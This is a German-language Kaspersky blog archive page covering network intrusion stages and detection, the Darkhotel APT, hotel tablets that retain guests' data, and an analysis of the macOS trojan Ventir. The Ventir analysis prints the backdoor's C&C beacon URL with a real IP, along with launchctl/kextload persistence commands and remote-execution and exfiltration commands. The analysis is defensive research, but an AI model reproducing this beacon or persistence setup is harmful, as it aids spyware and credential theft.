Zur Suche und Analyse anderer Geräte im Unternehmensnetzwerk setzen Cyberkriminelle Methoden des passiven und aktiven Scannens ein. Insbesondere mit Hilfe eines Sniffers zum Abhorchen des Traffics vom lokalen Netzwerk-Interface können problemlos verschiedene Geräte an ARP-Paketen oder aktiven Verbindungen erkannt werden, Adressen von Servern können identifiziert werden, auf denen sich Unternehmensanwendungen befinden, wie z.B. ActiveDirectory, Outlook, Datenbanken, Unternehmens-Websites und vieles mehr. Um genaue Informationen über einen konkreten Netzknoten zu erhalten, verwenden Cyberkriminelle Netzscanner (beispielsweise nmap), die die Identifizierung von verfügbaren Netzdiensten, das Erraten von Software-Name und -Version sowie das Auffinden einer Firewall und der Systeme IDS/IPS ermöglichen.

Ausbreitung

Nachdem sich ein Cyberkrimineller im System festgesetzt, einen zuverlässigen Kanal zum entfernten Zugriff organisiert und ausreichend Informationen über das Unternehmensnetzwerk gesammelt hat, ist sein weiteres Vorgehen normalerweise auf das Erreichen seines eigentlichen Zieles ausgerichtet – das kann im Diebstahl von vertraulichen Informationen bestehen, in Angriffen auf die Unternehmensinfrastruktur, den Erhalt der Kontrolle über kritische Systeme zu Erpressungszwecken oder aber es ist durch eigene Bedürfnisse motiviert. Mit Ausnahme von Fällen, in denen das zuerst angegriffene System auch das Endziel darstellt (beispielsweise das Notebook eines СЕО, der zentrale Server oder die Hauptwebsite), muss der Angreifer unbedingt die Kontrolle über andere Systeme innerhalb des Unternehmensnetzwerks erhalten – in Abhängigkeit von dem gewählten Infektionsziel kann der Infektionsversuch zielgerichtet oder breit gestreut sein.

Für einen Angriff auf die Infrastruktur ist eher eine Masseninfektion erforderlich – sowohl von Servern, die die Ausführung verschiedener Geschäftsprozesse gewährleisten, wie auch von Workstations der Betreiber und Administratoren. Will ein Cyberangreifer vertrauliche Informationen stehlen oder etwas erpressen, so muss er andererseits mit großer Vorsicht vorgehen und nur die vorrangigsten Systeme angreifen.

Die Ausbreitung innerhalb des Unternehmensnetzwerks kann mit einer Vielzahl von Mitteln umgesetzt werden. Ebenso wie bei der Einnistung im System und der Umgebungsanalyse wählen die Cyberkriminellen die einfachsten Lösungen, beispielsweise die Verwendung bestehender Accounts. Startet ein Online-Verbrecher beispielsweise Schadcode von einem Domain-Account des Anwenders eines infizierten Systems, so kann er sich problemlos mit verschiedenen Netzwerkdiensten verbinden (auf die der Anwender Zugriff hat), indem er die Domain-Autorisierung verwendet (Single Sign-On), d.h. also ohne Angabe von Nutzername und Kennwort. Verwendet er andererseits einen Abfänger der Tastatureingaben, so kann er leicht an Nutzername und Kennwort sowohl zum Domain-Account als auch zu anderen Services gelangen, die die Domain-Autorisierung nicht unterstützen. Zudem kann ein Cyberverbrecher versuchen, eine Sicherheitslücke in den Mechanismen zum Speichern und Überprüfen von Account-Daten ausnutzen oder versuchen das Passwort zu erraten.

Der effektivste Verbreitungsweg innerhalb eines Unternehmensnetzwerks ist die Ausnutzung von Sicherheitslücken, da ein großer Teil des Schutzes des Unternehmensnetzwerks auf die Abwehr von äußeren Attacken konzentriert ist. Das hat zur Folge, dass sich innerhalb des Netzwerks eine Vielzahl unterschiedlichster Schwachstellen, ungeschützter Dienste, Testserver, Steuerungs-/Virtualisierungssysteme usw. finden. Die Praxis zeigt, dass – selbst wenn den IT-Ingenieuren und Informationssicherheitsexperten alle Sicherheitslücken im Unternehmensnetzwerk bekannt sind – deren Beseitigung Jahre dauert, da dieser Prozess eine Menge Ressourcen erforderlich macht (Personenstunden). Trotzdem verwenden erfahrene Hacker Exploits für bekannte Sicherheitslücken nur mit größter Vorsicht, und ziehen es vor, ungeschützte Unternehmensdienste anzugreifen – denn wenn im Netzwerk doch IDS/IPS verwendet wird (lokal oder auf Netzwerkebene), so kann der Einsatz von Exploits für bekannte Sicherheitslücken zur Entdeckung des Cyberkriminellen führen.

Erkennung von Angriffen

Auf jeder Angriffsetappe nutzen Cyberkriminelle häufig die Umgebung und die zur Verfügung stehenden Mittel zu ihren eigenen Zwecken aus und bleiben so vor dem Hintergrund der Aktivität gewöhnlicher Anwender unbemerkt. Zur Lösung dieses Problems muss das Zuviel an Umgebung und Geschäftsprozessen dort verringert werden, wo es möglich ist. Und in allen anderen Fällen muss unbedingt genau verfolgt werden, was vor sich geht, Anomalien müssen aufgedeckt und es muss auf sie reagiert werden.

Anschauliche Beispiele für so ein Zuviel in den Geschäftsprozessen sind der freie Zugriff auf Geschäftsaktiva (vertrauliche Dokumente, kritische Anwendungen, Ausrüstung usw.), die Rechte eines lokalen Administrators und die Möglichkeit, sich entfernt mit dem Unternehmensnetzwerk zu verbinden für diejenigen, die solche Rechte und einen solchen Zugriff überhaupt nicht benötigen. Das Gesagte bezieht sich nicht nur auf die Aufteilung der Rechte auf Domain-Ebene, sondern auch auf der Ebene von Anwendungssoftware – normalerweise benötigen Browser keinen Zugriff auf den Speicher anderer Prozesse, und es ergibt keinen Sinn, dass MS Office Treiber installiert.

Als Beispiel für ein Zuviel der Umgebung kann man das Vorhandensein von Software auf dem Computer eines durchschnittlichen Mitarbeiters ins Feld führen (der kein Entwickler, Tester, Administrator oder Informationssicherheitsspezialist ist), die in der Lage ist, Netzwerktraffic abzufangen, das Netz zu scannen, entfernten Zugriff herzustellen, einen lokalen HTTP/FTP-Server zu erstellen, Dritt-Netzwerk-Ausrüstung zu verwenden (Wi-Fi und 3G-Modems) oder Mittel zur Softwareentwicklung usw.

Eine effektive Strategie zur Verhinderung von Angriffen innerhalb des Unternehmensnetzwerks besteht darin, Cyberkriminellen keine Möglichkeit zu geben, verborgen zu agieren und sie vielmehr zu komplizierten und riskanten Manövern zu zwingen, die es Informationssicherheitsexperten ermöglichen, eine Attacke zu identifizieren und die Bedrohung rechtzeitig zu neutralisieren. Zu diesem Zwecke sollte es in einem Unternehmensnetzwerk zwei Dinge geben: einen klugen Schutz und ein Managementsystem für Informationssicherheit (Information Security Management System, ISMS). Informationssicherheit in einem Unternehmensnetzwerk, die auf der Iteration dieser beiden Technologien basiert, unterscheidet sich grundlegend von dem veralteten Schutzmodell, denn sie ist in der Lage alles zu sehen, was im Netz vor sich geht, und umgehend auf Bedrohungen zu reagieren.

Mit klugen Schutzmechanismen meinen wir durchaus die alt hergebrachten Antivirenprogramme, Firewalls, IDS/IPS/HIPS, Anwendungskontrollen, Gerätekontrollen und so weiter. Sie müssen allerdings in der Lage sein, mit dem ISMS zu interagieren. Solche Schutzmechanismen sollten nicht nur alle erdenklichen Informationen sammeln und an das ISMS übermitteln, sondern in der Lage sein, Befehle auszuführen, die das Blockieren von Zugriffsversuchen, eine Verbindungsherstellung, Datenübertragung über das Netz, den Start von Anwendungen, das Lesen und Schreiben von Dateien usw. beinhalten. Damit das alles auch so funktioniert, muss der zuständige IT-Sicherheitsexperte selbstverständlich in der Lage sein, legitime Aktivität von schädlicher zu unterscheiden.

Die Darkhotel-APT


  Global Research and Analysis Team of Kaspersky Lab       10 November 2014 | 12:00  MSK

Ihr Kommentar  

http://youtu.be/4bNit5COBRI


Technical Appendix

PDF version


Ebenso wie die als „Crouching Yeti“ bezeichnete weltweite Cyber-Angriffswelle ist die Darkhotel-APT ein ungewöhnlich undurchsichtiger, ausdauernder und gut ausgestatteter Bedrohungsakteur, der eine seltsame Kombination von Charakteristika aufweist.

Diese APT greift ihre Opfer ganz präzise durch Spear-Phishing mit hochentwickelten Flash Zero-Day-Exploits an und umgeht auf diese Weise erfolgreich die neusten Abwehrmechanismen in Windows und Adobe, und andererseits infizieren die Angreifer auch völlig unpräzise eine große Zahl willkürlicher Opfer mit Hilfe von Peer-to-Peer-Verbreitungstaktiken. Hinzu kommt eine höchst ungewöhnliche Eigenschaft dieser Gruppe: Seit Jahren unterstützt die Darkhotel-APT die Fähigkeit, Hotelnetzwerke auszunutzen, um ausgewählten Opfern zu folgen und sie anzugreifen, wenn diese durch die Welt reisen. Bei diesen Reisenden handelt es sich meist um Führungskräfte aus den verschiedensten Branchen, die in der asiatisch-pazifischen Region Geschäfte machen und Outsourcing betreiben, unter anderem CEOs, Senior Vice Presidents, Vertriebs- und Marketingdirektoren sowie Spitzenkräfte aus dem Bereich Forschung- und Entwicklung. Dieses Eindringen in ein Hotelnetzwerk liefert den Angreifern präzisen weltumspannenden Zugriff auf hochrangige Ziele. Unseren Beobachtungen zufolge begann der höchste Level der Hotel-Netzwerk-Offensive im August 2010 und zog sich bis 2013, und wir ermitteln auch in einigen Hotel-Netzwerk-Fällen aus dem laufenden Jahr 2014.

Um p2p-Netzwerke zu verseuchen, die dann zu Masseninfektionen genutzt werden, delegitimieren die Angreifer außerdem Zertifikatsstellen, um so ihre Attacken voranzutreiben. Sie missbrauchen schwach implementierte digitale Zertifikate, um ihren Schadcode zu signieren. Auf diese Art wurde das Vertrauen von mindestens zehn Zertifikatsstellen missbraucht. Aktuell stehlen und verwenden die Verbrecher hinter dieser Bedrohung andere legitime Zertifikate, um ihre weitestgehend statische Backdoor und das Infostealer-Toolset zu signieren. Im Laufe der Zeit dehnt sich ihre Infrastruktur zudem aus und zieht sich dann wieder zusammen, ohne dass ein ersichtliches Muster dahinter zu erkennen wäre. Die Malware ist sowohl durch flexible Datenverschlüsselung als auch auffallend schlecht durch schwache Funktionen geschützt.

Die Opfer stammen aus den folgenden Bereichen:

  • Sehr große Elektronik-Hersteller

  • Investmentkapital und Privatkapital

  • Pharmazie

  • Kosmetische und chemische Produktion, Offshoring und Vertrieb

  • Automobilhersteller – Offshoring-Services

  • Automobilindustrie: Bauteile, Vertrieb, Verkauf und Services

  • Rüstungsindustrie

  • Strafverfolgungsbehörden und Militärdienste

  • Nicht-Regierungsorganisationen

Etwa 90 Prozent der Infektionen scheinen in Japan, Taiwan, China, Russland und Südkorea erfolgt zu sein, teilweise aufgrund der wahllosen Verbreitung der Malware. Insgesamt beträgt die Zahl der Infektionen seit dem Jahr 2008 mehrere Tausend. Die interessanteren reisenden Ziele sind Topmanager aus den USA und Asien, die in der asiatisch-pazifischen Region Geschäfte machen und Investitionen tätigen. Eine Kombination der Detektionen des Kaspersky Security Network (KSN) und der Command- und Control-Daten zeigten Infektionen in den USA, den Vereinigten Arabischen Emiraten, den Philippinen, in Honkong, Indien, Indonesien, Deutschland, Iran, Mexiko, Belgien, Serbien, im Libanon, in Pakistan, Griechenland, Italien und anderen Ländern. Die geografische Verteilung der Opfer dieser Bedrohung ist weit gestreut und viele signifikante Opfer reisen regelmäßig in und durch viele dieser Länder. So ändert sich die geografische Position der Opfer, während sie ständig unterwegs sind.

Als Experten von Kaspersky Lab den Orten, an denen sich Darkhotel-Vorfälle zugetragen haben, mit Honigtopf-Rechnern im Gepäck einen Besuch abstatteten, haben sie keine Darkhotel-Attacken provozieren können. Das lässt darauf schließen, dass die APT selektiv vorgeht.
Weitere Untersuchungen haben zudem gezeigt, wie sorgfältig die Angreifer vorgegangen sind, um ihre Aktivität zu verbergen – sobald ein Ziel infiziert worden war, löschten sie ihre Tools aus der Staging-Area des Hotel-Netzwerks, behielten aber einen verborgenen Status bei.

In den letzten paar Jahren wurde immer wieder häppchenweise etwas über die Aktivität von Darkhotel oder über die Bestandteile der Malware bekannt, aber wir konnten auch Darkhotel-Tools identifizieren, die in das Jahr 2007 zurückreichen. Unter Berücksichtigung der gut ausgestatteten, fortschrittlichen Exploit-Entwicklung und der umfassenden dynamischen Infrastruktur erwarten wir weitere Aktivität von Darkhotel in den kommenden Jahren. Unser Darkhotel-Bericht sowie die Anhänge mit den Indikatoren und technischen Details liefern einen stets aktuellen Überblick über die Aktivität dieses APT.

Hinterlegen Sie Ihr Passwort an der Rezeption


  Bestuzhev       24 Oktober 2014 | 14:40  MSK

Ihr Kommentar  

Einige Hotels, Restaurants und Flughäfen stellen ihren Kunden während ihres Aufenthaltes kostenlos Tablets zur Verfügung. Als ich kürzlich an einer Veranstaltung in einem solchen Hotel teilnahm und dort übernachtete, hatte ich die Möglichkeit, ein eigens in meinem Zimmer installiertes iPad kostenlos zu nutzen.

Zu meiner Überraschung enthielt es nicht nur die Tagesordnung der Veranstaltung und stellte zudem eine kostenlose WiFi-Verbindung bereit, sondern es enthielt auch eine Menge persönlicher Daten von früheren Gästen, die in demselben Zimmer abgestiegen waren.

Wenn ich persönliche Informationen sage, so meine ich damit Accounts mit vorgespeicherten Passwörtern, autorisierte Sitzungen in sozialen Netzwerken, Suchergebnisse aus dem Browser (zumeist pornografische Inhalte), vollständige Kontakte, die automatisch im Adressbuch gespeichert werden, iMessages und sogar ein Schwangerschaftskalender mit realen Informationen. Es war noch nicht einmal schwierig die Identität der Frau, die den Kalender benutzt hat, festzustellen, denn sie hatte ihre persönlichen Kontaktdaten auf dem Gerät hinterlassen:

















Mit den vollständigen Namen und E-Mail-Adressen im Cache des Gerätes war es nicht besonders schwierig, mit Hilfe von Google herauszufinden, dass es sich bei einigen der User um äußerst öffentliche Personen handelte, die für die Regierung des Landes arbeiten, in dem ich mich gerade aufhielt.

Die meisten Sitzungen waren noch immer geöffnet, so dass man tatsächlich auch im Namen der früheren Benutzer etwas posten oder Nachrichten versenden konnte:

In Bezug auf die Sicherheit ist das vollkommen inakzeptabel. Ein potentieller Angreifer hätte nicht nur die Möglichkeit, gesendete und empfangene Nachrichten zu lesen, sondern er hätte sich auch als das Opfer ausgeben und in seinem Namen Mitteilungen verschicken können.

Für mich ergibt sich hieraus zudem die perfekte Gelegenheit, Daten für Spear-Phishing-Angriffe auf prominente Persönlichkeiten zu sammeln. Angreifer aus dem klassischen Cybercrime-Milieu könnten ihre Opfer außerdem erpressen, was das reinste Kinderspiel wäre, da sie im Besitz aller erdenklichen Daten ihrer Opfer wären – die Namen der Pornofilme, die sie gesehen haben, eingeschlossen, und zwar mit genauer Datums- und Zeitangabe. Bedenkt man, dass einige der potentiellen Opfer öffentliche Personen sind, die für die Regierung arbeiten, ist es überaus wahrscheinlich, dass derartige Erpressungsversuche von Erfolg gekrönt wären.

Was läuft hier also falsch? Tja, ich würde sagen: alles. Erstens ist es sehr unklug, ein kostenloses öffentliches Gerät für die persönliche und private Kommunikation zu benutzen. Man kann nie wissen, ob es eine Backdoor auf dem Gerät gibt oder wer eigentlich hinter dieser Gastfreundschaft steckt. Zweitens: Wenn eine öffentliche Einrichtung seinen Gästen kostenlos mobile Geräte für die Dauer ihres Aufenthalts zur Verfügung stellen möchte, so ist es wichtig, dass diese zunächst sorgfältig konfiguriert werden, damit sensible Sicherheitspolicies angewandt werden und keine persönlichen Informationen, Passwörter usw. auf dem Gerät gespeichert werden können.

Vielleicht bin ich ja zu misstrauisch, aber wenn ich mich mit einem unbekannten und nicht vertrauenswürdigen Gerät wie einem Tablet in einem Raum befinde, das zudem mit einer Kamera und einem Mikrofon ausgestattet ist, so ziehe ich es vor, es auszuschalten und in einer Schublade zu verstauen. Ich musste das jeden Abend aufs Neue tun, nachdem das Reinigungspersonal es jeden Tag meines Aufenthalts in dem Hotel wieder zurück auf den Schreibtisch gestellt hatte.

Und auch wenn ein solches Gerät anständig konfiguriert ist und private Daten nicht sichtbar speichert, so sollte man immer bedenken, dass der nächste Gast durchaus ein IT-Experte sein könnte, der einfach ein Abbild des gesamten Gerätes erstellen und die eingegebenen privaten Daten dann Schritt für Schritt wiederherstellen könnte.

Folgen Sie mir auf twitter: @dimitribest


Trojaner Ventir: Basteln Sie sich Ihren eigenen MacOS-Spion


  16 Oktober 2014 | 17:47  MSK

Ihr Kommentar  

Vor gar nicht langer Zeit erreichte uns bei Kaspersky Lab eine interessante Datei (MD5 9283c61f8cce4258c8111aaf098d21ee) zur Analyse, die sich als multimodularer Schädling für MacOS X erwies. Bereits nach einer ersten vorläufigen Untersuchung war klar, dass diese Datei nichts Gutes im Schilde führt: Die gewöhnliche ausführbare 64-Bit mach-o-Datei enthielt in einer Datensektion weitere mach-o-Dateien, von denen eine im Autostart platziert worden war, was typisch ist für ein trojanisches Dropper-Programm.

Weiterführende Untersuchungen brachten zutage, dass sich innerhalb des Schädlings eine Backdoor, ein Keylogger sowie ein trojanisches Spionage-Programm verbergen. Besonders bemerkenswert ist, dass der Keylogger eine Kernel-Erweiterung mit offenem Quellcode verwendet, die für jeden Interessierten verfügbar ist, beispielsweise auf GitHub!

Derzeit werden die entdeckten Dateien in Abhängigkeit von ihrer Bestimmung folgendermaßen von den Antiviren-Lösungen von Kaspersky Lab detektiert als: Trojan-Dropper.OSX.Ventir.a, Backdoor.OSX.Ventir.a, Trojan-Spy.OSX.Ventir.a und not-a-virus:Monitor.OSX.LogKext.c.

Quelldatei (Trojan-Dropper.OSX.Ventir.a)

Sofort nach dem Start überprüft der Dropper durch den Aufruf der Funktion geteuid(), ob er über die Rechte eines Superusers (oder auch Root-Rechte) verfügt. Vom Ergebnis dieser Überprüfung hängt es ab, wo die Dateien des Trojaners installiert werden:

  • Verfügt der Schädling über Superuser-Rechte, werden die Dateien in /Library/.local und /Library/LaunchDaemons installiert;
  • Verfügt der Schädling nicht über Root-Rechte, so werden die Dateien an den Orten ~/Library/.local und ~/Library/LaunchAgents installiert (die Tilde “~” kennzeichnet den Pfad zum Heimordner des aktuellen Anwenders).

Alle Dateien des Trojaners, die auf einen infizierten Computer geladen werden, nehmen von vornherein ihren Platz in der Sektion „__data“ der Dropper-Datei ein.

Anordnung der Trojaner-Dateien innerhalb des Droppers

Im Endeffekt werden in einem infizierten System die folgenden Dateien installiert:

  1. Library/.local/updated – startet die Dateien update und EventMonitor erneut, falls sie unerwartet beendet werden sollten.
  2. Library/.local/reweb – dient dem Neustart der Datei updated.
  3. Library/.local/update – Backdoor-Modul.
  4. Library/.local/libweb.db –Datenbankdatei des Schädlings. Enthält von vornherein die globale Konfiguration des Trojaners, beispielsweise die Adresse des C&C.
  5. Library/LaunchAgents (oder LaunchDaemons)/com.updated.launchagent.plist – Eigenschaftsdatei, die zur Installation der Datei Library/.local/updated im Autostart mit Hilfe von Daemon launchd ausgeführt wird.
  6. In Abhängigkeit davon, ob Superuser-Rechte vorhanden sind:

    А) wenn sie vorhanden sind – /Library/.local/kext.tar. Des Weiteren wird das Archiv entpackt:

    • updated.kext – Treiber, der die Tastatureingaben des Nutzers abfängt;
    • Keymap.plist – Karte der Übereinstimmungen der Codes der gedrückten Tasten mit deren Werten;
    • EventMonitor – Agent, der die Tastatureingaben sowie einige Systemereignisse in der Datei Library/.local/.logfile protokolliert.

    B) wenn sie nicht vorhanden sind - ~/Library/.local/EventMonitor. Ein Agent, der den Namen des aktuell aktiven Fensters und die Tastatureingaben in der Datei Library/.local/.logfile protokolliert

Nach Installation der aufgezählten Dateien legt der Trojaner mit Hilfe des Standard-Konsolentools launchctl die Datei updated in den Autostart (Befehl launchctl load %s/com.updated.launchagent.plist).

Für den Fall, dass Superuser-Rechte vorhanden sind, lädt der Dropper daraufhin mit Hilfe des Standardtools OSX kextload den protokollierenden Treiber in den Kernel (Befehl kextload /System/Library/Extensions/updated.kext)

Daraufhin lädt Trojan-Dropper.OSX.Ventir.a die Datei reweb und löscht sich selbst aus dem System.

Die Dateien updated und reweb

Die Datei updated beendet alle Prozess mit dem Namen reweb (Befehl killall -9 reweb). Dann überprüft er in Abständen, ob die Prozesse EventMonitor und update laufen und startet sie, wenn nötig, neu.

Die Datei reweb beendet alle Prozess mit den Namen updated und update, woraufhin sie die Datei Library/.local/updated startet.

Die Datei update (Backdoor.OSX.Ventir.a)

Zu Beginn ihrer Arbeit verteilt die Backdoor die Felderwerte aus der config-Tabelle der Datenbank libweb.db nach lokalen Variablen zur weiteren Verwendung.

Für den Befehlsempfang wird eine HTTP GET-Anfrage der folgenden Art verwendet: http://220.175.13.250:82/macsql.php?mode=getcmd&key=1000&udid=000C29174BA0,

wobei key ein gewisser Schlüssel ist, der in libweb.db in der config-Tabelle gespeichert wird; udid eine МАС-Adresse ist, und 220.175.13.250:82 die IP-Adresse und den Port des C&C-Servers bezeichnen.

Diese Anfrage wird regelmäßig in kurzen Intervallen in einer Endlosschleife gesendet.

Die Backdoor kann die folgenden Befehle vom C&C ausführen:

  • reboot – Neustart des Computers;
  • restart – Neustart der Backdoor durch das Starten der Datei reweb;
  • uninstall – vollständiges Löschen der Backdoor aus dem System.
  • show config – Senden der Daten aus der config-Tabelle an den C&C-Server;
  • down exec – Aktualisierung der Datei update, Update-Download vom C&C-Server;
  • down config – Aktualisierung der Konfigurationsdatei libweb.db, Download des Updates vom C&C-Server;
  • upload config – Senden der Datei libweb.db an den C&C-Server;
  • update config:[Parameter] – Update der config-Datei in der Datenbankdatei libweb.db, in den Parametern werden die Felderwerte der Tabelle übermittelt;
  • executeCMD:[Parameter] – Ausführung des Befehls, der im Parameter über die Funktion popen(cmd, “r”) angegeben wird, Senden der Ausgabe des Befehls an den C&C-Server;
  • executeSYS:[Parameter] – Ausführung des Befehls, der im Parameter über die Funktion system(cmd) angegeben wird;
  • executePATH:[Parameter] – Start einer Datei aus dem Verzeichnis Library/.local/, der Dateiname wird im Parameter angegeben;
  • uploadfrompath:[Parameter] – Upload der Datei mit dem im Parameter vermerkten Namen aus dem Verzeichnis Library/.local/ auf den C&C-Server;
  • downfile:[Parameter] – Download der Datei mit dem im Parameter angegebene Namen vom C&C-Server und Speichern der Datei gemäß dem im Parameter angegebenen Pfad.

Teil des Befehls, der vom Backdoor-Modul verarbeitet wird

Datei EventMonitor (Trojan-Spy.OSX.Ventir.a)

Diese Datei wird ins System geladen, wenn es dem Dropper nicht gelingt, Superuser-Rechte zu erhalten. Nach dem Start installiert Trojan-Spy.OSX.Ventir.a mit Hilfe der API-Funktionen des Carbon Event Managers seine Systemereignis-Routine. In der neuen Routine erfolgt das Abfangen von Ereignissen, die mit dem Betätigen von Tasten zusammenhängen sowie deren Protokollierung in der Datei ~/Library/.local/.logfile. Hilfstasten (wie etwa shift) erscheinen im Protokoll in der folgenden Form: [command],  [option],  [ctrl], [fn], [ESC], [tab], [backspace] usw.

Verarbeitung von Tastatur-Ereignissen

Ebenfalls direkt vor der Verarbeitung der Tastenbetätigungen erfolgt die Bestimmung des Namens des Prozesses, dessen Fenster aktuell aktiv ist. Zu diesem Zweck werden die Funktionen GetFrontProcess und CopyProcessName aus der Carbon-API verwendet. Der Name des Prozesses wird ebenfalls ins Protokoll aufgenommen in Form von [Application {Name_Prozess} is the frontwindow]. Diesem Umstand ist es zu verdanken, dass der Trojaner bestimmen kann, in welche Anwendung die protokollierte Phrase eingebettet wurde.

Datei kext.tar (not-a-virus:Monitor.OSX.LogKext.c)

Wie bereits oben erwähnt, wird das Archiv kext.tar auf den infizierten Computer geladen, wenn es dem Trojaner Trojan-Dropper.OSX.Ventir gelungen ist, Root-Rechte zu erhalten. In dem Archiv befinden sich drei Dateien:

  • updated.kext
  • EventMonitor
  • Keymap.plist

Das Programmpaket updated.kext ist eine Kernel-Erweiterung (kext) mit offenem Quellcode, die für das Abfangen von Tastaturbetätigungen vorgesehen ist. Diese Erweiterung wird von uns schon seit Langem als not-a-virus:Monitor.OSX.LogKext.c detektiert, und ihr Quellcode (wie ebenfalls bereits erwähnt) ist zum gegenwärtigen Zeitpunkt für jeden Interessierten verfügbar.

Die Datei Keymap.plist ist eine Karte der Übereinstimmung des Codes gedrückter Tasten mit ihren Werten. Die Datei EventMonitor verwendet sie zur Bestimmung der Tastaturwerte nach den entsprechenden Codes, die ihr mit der Datei updated.kext übermittelt werden.

Die Datei EventMonitor ist ein Dateiagent, der Daten von der Kernel-Erweiterung updated.kext entgegennimmt, sie verarbeitet und in die Log-Datei /Library/.local/.logfile schreibt. Hier als Beispiel ein Teil eines solchen Protokolls, das die vom Trojaner abgefangenen Anmeldedaten inklusive Passwort enthält:

Wie man auf dem Screenshot sieht, landen Benutzername und Kennwort des E-Mail-Accounts umgehend im Log, sobald das Opfer die Seite yandex.ru im Browser aufgerufen und die entsprechenden Daten dort eingegeben hat – und von dort wandern sie direkt in die Hände der Cyberkriminellen.

Diese Bedrohung ist gerade vor dem Hintergrund des noch nicht lange zurückliegenden Vorfalls besonders aktuell, bei dem es zum Verlust von Anmeldeinformationen und Passwörtern für Accounts bei Yandex.ru, Mail.ru und Gmail kam. Es ist nicht ausgeschlossen, dass am Auffüllen dieser Datenbanken auch Schädlinge der Familie Ventir beteiligt waren.

Zum Abschluss sei erwähnt, dass der Trojaner Trojan-Dropper.OSX.Ventir.a mit seiner multimodularen Struktur an den berüchtigten Trojan.OSX.Morcut (alias OSX/Crisis) erinnert, der in etwa dieselbe Anzahl an Modulen mit ähnlicher Bestimmung enthielt. Die Verwendung von Software mit offenem Quellcode erleichtert Cyberkriminellen die Konstruktion neuer Schädlinge erheblich. Daher ist davon auszugehen, dass die Zahl trojanischer Spionage-Programme künftig weiter steigen wird.

Nach oben  |  Archiv >>

 

Copyright © 1996 - 2015
Kaspersky Lab
Industry Leading Antivirus Software
Alle Rechte vorbehalten
 

Email: webmaster@kaspersky.com
Datenschutzbestimmungen